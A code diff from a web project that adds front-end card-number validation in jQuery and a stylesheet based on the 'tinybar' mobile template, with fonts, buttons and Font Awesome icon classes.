$('body').click(function() {
|
||||
return $('.demo .numbers').slideUp(100);
|
||||
});
|
||||
$('.demo .numbers').click(function(e) {
|
||||
return e.stopPropagation();
|
||||
});
|
||||
$('#sample-numbers-trigger').click(function(e) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
return $('.demo .numbers').slideDown(100);
|
||||
});
|
||||
$('.demo .numbers').hide();
|
||||
$('.vertical.maestro').hide().css({
|
||||
opacity: 0
|
||||
});
|
||||
return $('#card_number').validateCreditCard(function(result) {
|
||||
$(this).removeClass();
|
||||
if (result.card_type == null) {
|
||||
$('.vertical.maestro').slideUp({
|
||||
duration: 200
|
||||
}).animate({
|
||||
opacity: 0
|
||||
}, {
|
||||
queue: false,
|
||||
duration: 200
|
||||
});
|
||||
return;
|
||||
}
|
||||
$(this).addClass(result.card_type.name);
|
||||
if (result.card_type.name === 'maestro') {
|
||||
$('.vertical.maestro').slideDown({
|
||||
duration: 200
|
||||
}).animate({
|
||||
opacity: 1
|
||||
}, {
|
||||
queue: false
|
||||
});
|
||||
} else {
|
||||
$('.vertical.maestro').slideUp({
|
||||
duration: 200
|
||||
}).animate({
|
||||
opacity: 0
|
||||
}, {
|
||||
queue: false,
|
||||
duration: 200
|
||||
});
|
||||
}
|
||||
if (result.valid) {
|
||||
|
||||
document.getElementById("mon").disabled = null;
|
||||
return $(this).addClass('valid');
|
||||
} else {
|
||||
document.getElementById("mon").disabled = true;
|
||||
return $(this).removeClass('valid');
|
||||
}
|
||||
}, {
|
||||
accept: ['visa', 'visa_electron', 'mastercard', 'maestro', 'discover']
|
||||
});
|
||||
});
|
||||
|
||||
}).call(this);
|
||||
|
After Width: | Height: | Size: 2.5 KiB |
|
After Width: | Height: | Size: 37 KiB |
|
After Width: | Height: | Size: 1.3 KiB |
@@ -0,0 +1,954 @@
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/style.css ::::: */
|
||||
|
||||
.hide-content { display: none; position: fixed; background-color: rgba(255, 255, 255, 0); width: 100%; height: 100%; top: 0px; bottom: 0px; right: 0px; left: 80px; z-index: 999999; }
|
||||
* {
|
||||
margin: 0;
|
||||
}
|
||||
html, body {
|
||||
height: 100%;
|
||||
margin: 0;
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/framework.css ::::: */
|
||||
|
||||
/* ::::: http://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800 ::::: */
|
||||
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: normal;
|
||||
font-weight: 300;
|
||||
src: local("Open Sans Light"), local("OpenSans-Light"), url('dxi1orhcpsqm3vp6mxoategdm0lzdjqr5-oayxsoefg.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: local("Open Sans"), local("OpenSans"), url('cjzkeoubrn4kerxqtauh3vtxra8tvwticgirnjhmvjw.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: normal;
|
||||
font-weight: 600;
|
||||
src: local("Open Sans Semibold"), local("OpenSans-Semibold"), url('mtp_ysujh_bn48vbg8snsugdm0lzdjqr5-oayxsoefg.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
src: local("Open Sans Bold"), local("OpenSans-Bold"), url('k3k702zokiljc3wvjuplzogdm0lzdjqr5-oayxsoefg.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: normal;
|
||||
font-weight: 800;
|
||||
src: local("Open Sans Extrabold"), local("OpenSans-Extrabold"), url('einbv5dfghoimmvb1xr-hugdm0lzdjqr5-oayxsoefg.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: italic;
|
||||
font-weight: 300;
|
||||
src: local("Open Sans Light Italic"), local("OpenSansLight-Italic"), url('prmixeptr36kac0geaetxko2ltmewa_kmiywrkncwpc.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
src: local("Open Sans Italic"), local("OpenSans-Italic"), url('xjajxh38i15wypjxxugmbo4p5icox8kq3llunmylgo4.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: italic;
|
||||
font-weight: 600;
|
||||
src: local("Open Sans Semibold Italic"), local("OpenSans-SemiboldItalic"), url('prmixeptr36kac0geaetxl2umoyru7pgriv8dxcgjjk.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: italic;
|
||||
font-weight: 700;
|
||||
src: local("Open Sans Bold Italic"), local("OpenSans-BoldItalic"), url('prmixeptr36kac0geaetxolizu-hdpmdizmigmsroc4.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Open Sans";
|
||||
font-style: italic;
|
||||
font-weight: 800;
|
||||
src: local("Open Sans Extrabold Italic"), local("OpenSans-ExtraboldItalic"), url('prmixeptr36kac0geaetxnibbpxglhk_utt48umyjsm.woff2') format("woff2");
|
||||
}
|
||||
/* ::::: http://fonts.googleapis.com/css?family=Lato:400,700,900 ::::: */
|
||||
|
||||
@font-face {
|
||||
font-family: "Lato";
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: local("Lato Regular"), local("Lato-Regular"), url('1ywb1so8ye1lyjf12wniua.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Lato";
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
src: local("Lato Bold"), local("Lato-Bold"), url('h2dmvhdlycm56knuatbjya.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Lato";
|
||||
font-style: normal;
|
||||
font-weight: 900;
|
||||
src: local("Lato Black"), local("Lato-Black"), url('ti4j516nok_grvf4dhunkg.woff2') format("woff2");
|
||||
}
|
||||
/* ::::: http://fonts.googleapis.com/css?family=Dosis:200,300,400,500,600,700,800 ::::: */
|
||||
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 200;
|
||||
src: local("Dosis ExtraLight"), local("Dosis-ExtraLight"), url('rpkdmafi75rjkvjwaddb0veszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 300;
|
||||
src: local("Dosis Light"), local("Dosis-Light"), url('7ajzv14hzaoiwntipgucgfeszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: local("Dosis Regular"), local("Dosis-Regular"), url('4hyyxh_8wmbblamf6wjlwg.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
src: local("Dosis Medium"), local("Dosis-Medium"), url('macljwdpwdnidjwjvcwkc_eszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 600;
|
||||
src: local("Dosis SemiBold"), local("Dosis-SemiBold"), url('o6sou9hysphtu43r17ns5feszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
src: local("Dosis Bold"), local("Dosis-Bold"), url('22adrg5x9l7obljtz7tihveszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Dosis";
|
||||
font-style: normal;
|
||||
font-weight: 800;
|
||||
src: local("Dosis ExtraBold"), local("Dosis-ExtraBold"), url('nq3opekr7rusf_ydj1woxveszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
/* ::::: http://fonts.googleapis.com/css?family=Roboto:400,100,100italic,300,300italic,400italic,500,500italic,700,700italic,900italic,900 ::::: */
|
||||
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 100;
|
||||
src: local("Roboto Thin"), local("Roboto-Thin"), url('2tsd397wlxj96qwhynikxpeszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 300;
|
||||
src: local("Roboto Light"), local("Roboto-Light"), url('hgo13k-tfspn0qi1sfdufvtxra8tvwticgirnjhmvjw.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
src: local("Roboto"), local("Roboto-Regular"), url('cwb0xya8bzo0ksthx0utua.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
src: local("Roboto Medium"), local("Roboto-Medium"), url('rxzjdnzeo3r5zsexge8uuvtxra8tvwticgirnjhmvjw.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
src: local("Roboto Bold"), local("Roboto-Bold"), url('d-6iyplofoccackzxwxsoftxra8tvwticgirnjhmvjw.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: normal;
|
||||
font-weight: 900;
|
||||
src: local("Roboto Black"), local("Roboto-Black"), url('mnpfi9pxyh-go5uiibesiltxra8tvwticgirnjhmvjw.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 100;
|
||||
src: local("Roboto Thin Italic"), local("Roboto-ThinItalic"), url('12me4jfmsbtmg-81eis-yfk_varhqviz0nv9q090hn8.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 300;
|
||||
src: local("Roboto Light Italic"), local("Roboto-LightItalic"), url('7m8l7tlfo-s3vkhhur0at44p5icox8kq3llunmylgo4.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
src: local("Roboto Italic"), local("Roboto-Italic"), url('vpcynsl0qhq_6dx7lkvbyfeszw2xoq-xsnqo47m55da.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 500;
|
||||
src: local("Roboto Medium Italic"), local("Roboto-MediumItalic"), url('olffgbtaf0xfow1gnuhf0y4p5icox8kq3llunmylgo4.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 700;
|
||||
src: local("Roboto Bold Italic"), local("Roboto-BoldItalic"), url('t6nd4cfprhzp44q5qajcc44p5icox8kq3llunmylgo4.woff2') format("woff2");
|
||||
}
|
||||
@font-face {
|
||||
font-family: "Roboto";
|
||||
font-style: italic;
|
||||
font-weight: 900;
|
||||
src: local("Roboto Black Italic"), local("Roboto-BlackItalic"), url('bmc0pgmxrhphrzjmniizpy4p5icox8kq3llunmylgo4.woff2') format("woff2");
|
||||
}
|
||||
* { -moz-appearance: none; margin: 0px; padding: 0px; border: 0px none; font-size: 100%; vertical-align: baseline; outline: medium none; font-size-adjust: none; -moz-text-size-adjust: none; }
|
||||
:focus { outline: medium none; }
|
||||
*, *::after, *::before {
|
||||
box-sizing: border-box;
|
||||
padding: 0px;
|
||||
margin: 0px;
|
||||
color: #8E8E8E;
|
||||
}
|
||||
body { margin: 0px; padding: 0px; overflow-x: hidden; }
|
||||
a:hover { text-decoration: none ! important; }
|
||||
div, a, p, img, blockquote, form, fieldset, textarea, input, label, iframe, code, pre {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
text-align: center;
|
||||
float: none;
|
||||
}
|
||||
p {
|
||||
line-height: 30px;
|
||||
font-size: 13px;
|
||||
letter-spacing: 0px;
|
||||
}
|
||||
a { text-decoration: none; }
|
||||
a:hover { text-decoration: none; }
|
||||
|
||||
ol > li:last-child, ul > li:last-child { margin-bottom: 0px; }
|
||||
body {
|
||||
font-family: "Roboto",sans-serif;
|
||||
color: rgb(102, 102, 102);
|
||||
font-size: 12px;
|
||||
line-height: 20px;
|
||||
|
||||
}
|
||||
h2 { font-size: 19px; margin-bottom: 10px; font-weight: 800; color: rgb(33, 41, 53); }
|
||||
h3 { font-size: 17px; margin-bottom: 10px; font-weight: 700; color: rgb(33, 41, 53); }
|
||||
h4 { font-size: 15px; margin-bottom: 10px; font-weight: 800; color: rgb(33, 41, 53); }
|
||||
h1, h2, h3, h4, h5, h6 { font-family: "Roboto",sans-serif; color: rgb(31, 31, 31); }
|
||||
a:hover { color: rgb(41, 128, 185); transition: all 200ms ease 0s; }
|
||||
a { color: rgb(52, 152, 219); }
|
||||
.overlay { pointer-events: none; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 9999; }
|
||||
.content { clear: both; margin-left: 30px; margin-right: 30px; }
|
||||
.container { margin-bottom: 30px; }
|
||||
.no-bottom { margin-bottom: 0px ! important; padding-bottom: 0px ! important; }
|
||||
.half-bottom { margin-bottom: 15px; }
|
||||
.full-bottom { margin-bottom: 30px ! important; }
|
||||
.center-text {
|
||||
display: block;
|
||||
text-align: center;
|
||||
}
|
||||
.responsive-image {
|
||||
width: 77%;
|
||||
text-align: center;
|
||||
float: none
|
||||
}
|
||||
|
||||
|
||||
.responsive-image1 {
|
||||
width:65%;
|
||||
text-align: center;
|
||||
float: none
|
||||
}
|
||||
.responsive-imagepp{
|
||||
|
||||
text-align: center;
|
||||
float: none;
|
||||
width: 30px;
|
||||
}
|
||||
|
||||
.responsive-image3 {
|
||||
|
||||
text-align: center;
|
||||
float: none
|
||||
}
|
||||
.responsive-image2 {
|
||||
width: 30%;
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
text-align: center;
|
||||
float: none
|
||||
}
|
||||
.decoration { height: 1px; background-color: rgba(0, 0, 0, 0.1); margin-bottom: 30px; display: block; clear: both; }
|
||||
#preloader { position: fixed; top: 0px; left: 0px; right: 0px; bottom: 0px; background-color: rgb(255, 255, 255); z-index: 99999999; }
|
||||
#status { z-index: 99999999; width: 250px; height: 250px; position: absolute; left: 50%; top: 50%; background-image: url('status.gif'); background-size: 64px 64px; background-repeat: no-repeat; background-position: center center; margin: -125px 0px 0px -125px; }
|
||||
#status p { top: 60%; }
|
||||
#status em { font-size: 10px ! important; display: block; font-style: normal; }
|
||||
.last-column { margin-right: 0% ! important; }
|
||||
.center-button { width: 95%; margin-left: auto; margin-right: auto; display: block ! important; margin-top: 10px; text-align: center; }
|
||||
.button { display: inline-block; padding: 10px 20px; }
|
||||
|
||||
.button-green { background: url(butbg-t.png) 100% no-repeat; /* Добавляем фон */
|
||||
background-size: cover; color: rgb(255, 255, 255); }
|
||||
.button-green2 { background-color: rgb(0, 125, 183); /* Добавляем фон */
|
||||
background-size: cover; color: rgb(255, 255, 255); }
|
||||
.button-green3 { background-color: rgb(33, 71, 144); /* Добавляем фон */
|
||||
background-size: cover; color: rgb(255, 255, 255); }
|
||||
|
||||
.button-blue { background-color: rgb(41, 128, 185); color: rgb(255, 255, 255); }
|
||||
.button-blue:hover { background-color: rgb(52, 152, 219); }
|
||||
.button-dark { background-color: rgb(44, 62, 80); color: rgb(255, 255, 255); }
|
||||
.button-dark:hover { background-color: rgb(52, 73, 94); }
|
||||
.button-yellow { background-color: rgb(241, 196, 15); color: rgb(31, 31, 31); }
|
||||
.button-yellow:hover { background-color: rgb(243, 156, 18); }
|
||||
.button-orange { background-color: rgb(211, 84, 0); color: rgb(255, 255, 255); }
|
||||
.button-orange:hover { background-color: rgb(230, 126, 34); }
|
||||
.button-red { background-color: rgb(192, 57, 43); color: rgb(255, 255, 255); }
|
||||
.button-red:hover { background-color: rgb(231, 76, 60); }
|
||||
.portfolio-one-details a:nth-child(2) { border-left: 1px solid rgb(202, 202, 202); border-right: 1px solid rgb(202, 202, 202); }
|
||||
.portfolio-two-details a:nth-child(2) { border-left: 1px solid rgb(202, 202, 202); border-right: 1px solid rgb(202, 202, 202); }
|
||||
.snap-content { position: absolute; top: 0px; right: 0px; bottom: 0px; left: 0px; width: auto; height: auto; z-index: 2; overflow: auto; transform: translate3d(0px, 0px, 0px); }
|
||||
.snap-drawers { position: absolute; top: 0px; right: 0px; bottom: 0px; left: 0px; width: auto; height: auto; overflow-x: hidden; }
|
||||
.snap-drawer { position: absolute; top: 0px; right: auto; bottom: 0px; left: auto; width: 275px; height: auto; overflow: auto; transition: width 0.3s ease 0s; }
|
||||
.snap-drawer-left { left: 0px; z-index: 1; }
|
||||
.snap-content {
|
||||
position: absolute;
|
||||
top: -3px;
|
||||
right: 0px;
|
||||
bottom: 0px;
|
||||
left: 1px;
|
||||
width: auto;
|
||||
height: auto;
|
||||
z-index: 2;
|
||||
overflow: auto;
|
||||
transform: translate3d(0px, 0px, 0px);
|
||||
}
|
||||
.snap-drawers { position: absolute; top: 0px; right: 0px; bottom: 0px; left: 0px; width: auto; height: auto; }
|
||||
.snap-drawer { position: absolute; top: 0px; right: auto; bottom: 0px; left: auto; width: 286px; height: auto; overflow: auto; transition: width 0.3s ease 0s; }
|
||||
.snap-drawer-left { left: 0px; z-index: 1; }
|
||||
#content { background-color: rgb(255, 255, 255); overflow-x: hidden; }
|
||||
.snap-drawers { background-size: 100px 100px; }
|
||||
.share-bottom { position: fixed; width: 100%; z-index: 99999999; background-color: rgb(248, 248, 248); padding-top: 15px; padding-bottom: 15px; border-top: 1px solid rgba(0, 0, 0, 0.08); box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0.1); bottom: -350px; transition: all 350ms ease 0s; }
|
||||
.share-bottom h3 { text-align: center; font-size: 14px; text-transform: uppercase; font-weight: 500; padding-bottom: 15px; border-bottom: 1px solid rgba(0, 0, 0, 0.05); margin-left: -5px; }
|
||||
.share-socials-bottom { width: 300px; margin-left: auto; margin-right: auto; }
|
||||
.share-socials-bottom a { float: left; width: 60px; margin: 10px 20px; text-align: center; color: rgb(102, 102, 102); font-weight: 500; font-size: 12px; }
|
||||
.share-socials-bottom a i:hover { color: rgb(255, 255, 255); transform: scale(0.9, 0.9); }
|
||||
.share-socials-bottom a i { width: 60px; height: 60px; border-radius: 8px; color: rgb(255, 255, 255); line-height: 60px; font-size: 18px; margin-bottom: 5px; transition: all 250ms ease 0s; opacity: 1; }
|
||||
.share-socials-bottom a i:hover { transition: all 250ms ease 0s; opacity: 1; }
|
||||
.close-share-bottom { display: block; text-align: center; padding-top: 15px; margin-top: 15px; border-top: 1px solid rgba(0, 0, 0, 0.05); text-transform: uppercase; font-size: 12px; font-weight: 600; color: rgb(31, 31, 31); transition: all 250ms ease 0s; }
|
||||
.close-share-bottom:hover { color: rgba(0, 0, 0, 0.6); transition: all 250ms ease 0s; }
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/owl.theme.css ::::: */
|
||||
|
||||
.owl-carousel .owl-wrapper::after { content: "."; display: block; clear: both; visibility: hidden; line-height: 0; height: 0px; }
|
||||
.owl-carousel { display: none; position: relative; width: 100%; }
|
||||
.owl-carousel .owl-wrapper { display: none; position: relative; }
|
||||
.owl-carousel .owl-wrapper-outer { overflow: hidden; position: relative; width: 100%; }
|
||||
.owl-carousel .owl-item { float: left; }
|
||||
.owl-carousel .owl-wrapper, .owl-carousel .owl-item { backface-visibility: hidden; transform: translate3d(0px, 0px, 0px); }
|
||||
.prev-staff, .prev-quote { z-index: 99999; background-image: url('prev1.png'); background-repeat: no-repeat; width: 45px; height: 45px; background-size: 16px 16px; background-position: 13px 15px; position: absolute; left: 0px; margin-top: 20%; border-radius: 45px; transition: all 400ms ease 0s; }
|
||||
.prev-staff:hover, .prev-quote:hover { background-color: rgba(0, 0, 0, 0.1); transition: all 400ms ease 0s; }
|
||||
.next-staff, .next-quote { z-index: 99999; background-image: url('next1.png'); background-repeat: no-repeat; width: 45px; height: 45px; background-size: 16px 16px; background-position: 16px 15px; position: absolute; right: 0px; margin-top: 20%; border-radius: 45px; transition: all 400ms ease 0s; }
|
||||
.next-staff:hover, .next-quote:hover { background-color: rgba(0, 0, 0, 0.1); transition: all 400ms ease 0s; }
|
||||
@media screen and (orientation: landscape) {
|
||||
.next-staff { margin-top: 24%; }
|
||||
.prev-staff { margin-top: 24%; }
|
||||
.staff-item strong { width: 180px; margin-left: auto; margin-right: auto; }
|
||||
}
|
||||
@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape) {
|
||||
.next-staff { margin-top: 12.1%; }
|
||||
.prev-staff { margin-top: 12.1%; }
|
||||
.staff-item strong { width: 180px; margin-left: auto; margin-right: auto; }
|
||||
}
|
||||
@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait) {
|
||||
.next-staff { margin-top: 17.3%; }
|
||||
.prev-staff { margin-top: 17.3%; }
|
||||
.staff-item strong { width: 180px; margin-left: auto; margin-right: auto; }
|
||||
}
|
||||
.slider-container { overflow: visible; }
|
||||
#bar { width: 0%; max-width: 100%; height: 2px; background: rgb(52, 152, 219) none repeat scroll 0% 0%; }
|
||||
#progressBar { position: absolute; bottom: 0px; z-index: 9999; width: 100%; background: rgb(0, 0, 0) none repeat scroll 0% 0%; }
|
||||
.homepage-left-caption h3 { text-align: left; }
|
||||
.homepage-left-caption p { text-align: left; }
|
||||
.homepage-center-caption h3 { text-align: center; margin-left: -10px; }
|
||||
.homepage-center-caption p { text-align: center; margin-left: -10px; }
|
||||
.homepage-right-caption h3 { text-align: right; }
|
||||
.homepage-right-caption p { text-align: right; }
|
||||
.homepage-slider-caption { position: absolute; width: 100%; bottom: 0px; z-index: 999999; }
|
||||
.homepage-slider-caption h3 { color: rgb(255, 255, 255); font-family: "Roboto",sans-serif; font-size: 16px; text-transform: uppercase; padding-left: 30px; padding-right: 30px; margin-bottom: 0px; }
|
||||
.homepage-slider-caption p { color: rgb(202, 202, 202); padding-left: 30px; padding-right: 30px; margin-bottom: 20px; }
|
||||
.homepage-slider .responsive-image { margin-bottom: 0px; }
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/swipebox.css ::::: */
|
||||
|
||||
.gallery { width: 102%; margin-left: -3% ! important; padding: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 30px; }
|
||||
.gallery::after { clear: both; content: "."; display: block; height: 0px; visibility: hidden; }
|
||||
.gallery li { list-style: outside none none ! important; float: left; width: 33.3333%; transition: all 200ms ease 0s; }
|
||||
.gallery li a { display: block; margin-top: 10px; margin-right: 10px; margin-left: 10px; margin-bottom: 5px ! important; }
|
||||
.gallery li img { border-radius: 500px; display: block; width: 100%; height: auto; }
|
||||
.square-thumb li img { border-radius: 0px ! important; }
|
||||
.gallery li a { font-size: 12px; text-align: center; color: rgb(31, 31, 31); }
|
||||
.swipebox { overflow: hidden ! important; }
|
||||
#swipebox-slider .slide::before { content: ""; display: inline-block; height: 50%; width: 1px; margin-right: -1px; }
|
||||
/* ::::: http://enableds.com/products/tinybar/styles/font-awesome.css ::::: */
|
||||
|
||||
@font-face {
|
||||
font-family: "FontAwesome";
|
||||
font-style: normal;
|
||||
font-weight: normal;
|
||||
src: url('fontawesome-webfont.eot') format("embedded-opentype"), url('fontawesome-webfont.woff2') format("woff2"), url('fontawesome-webfont.woff') format("woff"), url('fontawesome-webfont.ttf') format("truetype"), url('fontawesome-webfont.svg') format("svg");
|
||||
}
|
||||
.fa { display: inline-block; font-family: FontAwesome; font-style: normal; font-weight: normal; line-height: 1; font-size-adjust: none; font-stretch: normal; font-feature-settings: normal; font-language-override: normal; font-kerning: auto; font-synthesis: weight style; font-variant: normal; font-size: inherit; text-rendering: auto; transform: translate(0px, 0px); }
|
||||
.fa-glass::before { content: ""; }
|
||||
.fa-music::before { content: ""; }
|
||||
.fa-search::before { content: ""; }
|
||||
.fa-envelope-o::before { content: ""; }
|
||||
.fa-heart::before { content: ""; }
|
||||
.fa-star::before { content: ""; }
|
||||
.fa-star-o::before { content: ""; }
|
||||
.fa-user::before { content: ""; }
|
||||
.fa-film::before { content: ""; }
|
||||
.fa-th-large::before { content: ""; }
|
||||
.fa-th::before { content: ""; }
|
||||
.fa-th-list::before { content: ""; }
|
||||
.fa-check::before { content: ""; }
|
||||
.fa-remove::before, .fa-close::before, .fa-times::before { content: ""; }
|
||||
.fa-search-plus::before { content: ""; }
|
||||
.fa-search-minus::before { content: ""; }
|
||||
.fa-power-off::before { content: ""; }
|
||||
.fa-signal::before { content: ""; }
|
||||
.fa-gear::before, .fa-cog::before { content: ""; }
|
||||
.fa-trash-o::before { content: ""; }
|
||||
.fa-home::before { content: ""; }
|
||||
.fa-file-o::before { content: ""; }
|
||||
.fa-clock-o::before { content: ""; }
|
||||
.fa-road::before { content: ""; }
|
||||
.fa-download::before { content: ""; }
|
||||
.fa-arrow-circle-o-down::before { content: ""; }
|
||||
.fa-arrow-circle-o-up::before { content: ""; }
|
||||
.fa-inbox::before { content: ""; }
|
||||
.fa-play-circle-o::before { content: ""; }
|
||||
.fa-rotate-right::before, .fa-repeat::before { content: ""; }
|
||||
.fa-refresh::before { content: ""; }
|
||||
.fa-list-alt::before { content: ""; }
|
||||
.fa-lock::before { content: ""; }
|
||||
.fa-flag::before { content: ""; }
|
||||
.fa-headphones::before { content: ""; }
|
||||
.fa-volume-off::before { content: ""; }
|
||||
.fa-volume-down::before { content: ""; }
|
||||
.fa-volume-up::before { content: ""; }
|
||||
.fa-qrcode::before { content: ""; }
|
||||
.fa-barcode::before { content: ""; }
|
||||
.fa-tag::before { content: ""; }
|
||||
.fa-tags::before { content: ""; }
|
||||
.fa-book::before { content: ""; }
|
||||
.fa-bookmark::before { content: ""; }
|
||||
.fa-print::before { content: ""; }
|
||||
.fa-camera::before { content: ""; }
|
||||
.fa-font::before { content: ""; }
|
||||
.fa-bold::before { content: ""; }
|
||||
.fa-italic::before { content: ""; }
|
||||
.fa-text-height::before { content: ""; }
|
||||
.fa-text-width::before { content: ""; }
|
||||
.fa-align-left::before { content: ""; }
|
||||
.fa-align-center::before { content: ""; }
|
||||
.fa-align-right::before { content: ""; }
|
||||
.fa-align-justify::before { content: ""; }
|
||||
.fa-list::before { content: ""; }
|
||||
.fa-dedent::before, .fa-outdent::before { content: ""; }
|
||||
.fa-indent::before { content: ""; }
|
||||
.fa-video-camera::before { content: ""; }
|
||||
.fa-photo::before, .fa-image::before, .fa-picture-o::before { content: ""; }
|
||||
.fa-pencil::before { content: ""; }
|
||||
.fa-map-marker::before { content: ""; }
|
||||
.fa-adjust::before { content: ""; }
|
||||
.fa-tint::before { content: ""; }
|
||||
.fa-edit::before, .fa-pencil-square-o::before { content: ""; }
|
||||
.fa-share-square-o::before { content: ""; }
|
||||
.fa-check-square-o::before { content: ""; }
|
||||
.fa-arrows::before { content: ""; }
|
||||
.fa-step-backward::before { content: ""; }
|
||||
.fa-fast-backward::before { content: ""; }
|
||||
.fa-backward::before { content: ""; }
|
||||
.fa-play::before { content: ""; }
|
||||
.fa-pause::before { content: ""; }
|
||||
.fa-stop::before { content: ""; }
|
||||
.fa-forward::before { content: ""; }
|
||||
.fa-fast-forward::before { content: ""; }
|
||||
.fa-step-forward::before { content: ""; }
|
||||
.fa-eject::before { content: ""; }
|
||||
.fa-chevron-left::before { content: ""; }
|
||||
.fa-chevron-right::before { content: ""; }
|
||||
.fa-plus-circle::before { content: ""; }
|
||||
.fa-minus-circle::before { content: ""; }
|
||||
.fa-times-circle::before { content: ""; }
|
||||
.fa-check-circle::before { content: ""; }
|
||||
.fa-question-circle::before { content: ""; }
|
||||
.fa-info-circle::before { content: ""; }
|
||||
.fa-crosshairs::before { content: ""; }
|
||||
.fa-times-circle-o::before { content: ""; }
|
||||
.fa-check-circle-o::before { content: ""; }
|
||||
.fa-ban::before { content: ""; }
|
||||
.fa-arrow-left::before { content: ""; }
|
||||
.fa-arrow-right::before { content: ""; }
|
||||
.fa-arrow-up::before { content: ""; }
|
||||
.fa-arrow-down::before { content: ""; }
|
||||
.fa-mail-forward::before, .fa-share::before { content: ""; }
|
||||
.fa-expand::before { content: ""; }
|
||||
.fa-compress::before { content: ""; }
|
||||
.fa-plus::before { content: ""; }
|
||||
.fa-minus::before { content: ""; }
|
||||
.fa-asterisk::before { content: ""; }
|
||||
.fa-exclamation-circle::before { content: ""; }
|
||||
.fa-gift::before { content: ""; }
|
||||
.fa-leaf::before { content: ""; }
|
||||
.fa-fire::before { content: ""; }
|
||||
.fa-eye::before { content: ""; }
|
||||
.fa-eye-slash::before { content: ""; }
|
||||
.fa-warning::before, .fa-exclamation-triangle::before { content: ""; }
|
||||
.fa-plane::before { content: ""; }
|
||||
.fa-calendar::before { content: ""; }
|
||||
.fa-random::before { content: ""; }
|
||||
.fa-comment::before { content: ""; }
|
||||
.fa-magnet::before { content: ""; }
|
||||
.fa-chevron-up::before { content: ""; }
|
||||
.fa-chevron-down::before { content: ""; }
|
||||
.fa-retweet::before { content: ""; }
|
||||
.fa-shopping-cart::before { content: ""; }
|
||||
.fa-folder::before { content: ""; }
|
||||
